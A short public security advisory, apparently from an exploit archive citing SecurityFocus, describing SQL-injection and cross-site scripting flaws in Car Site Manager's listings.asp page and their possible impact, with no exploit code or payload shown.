Car Site Manager - '/csm/asp/listings.asp' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/21066/info
  
Car Site Manager is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
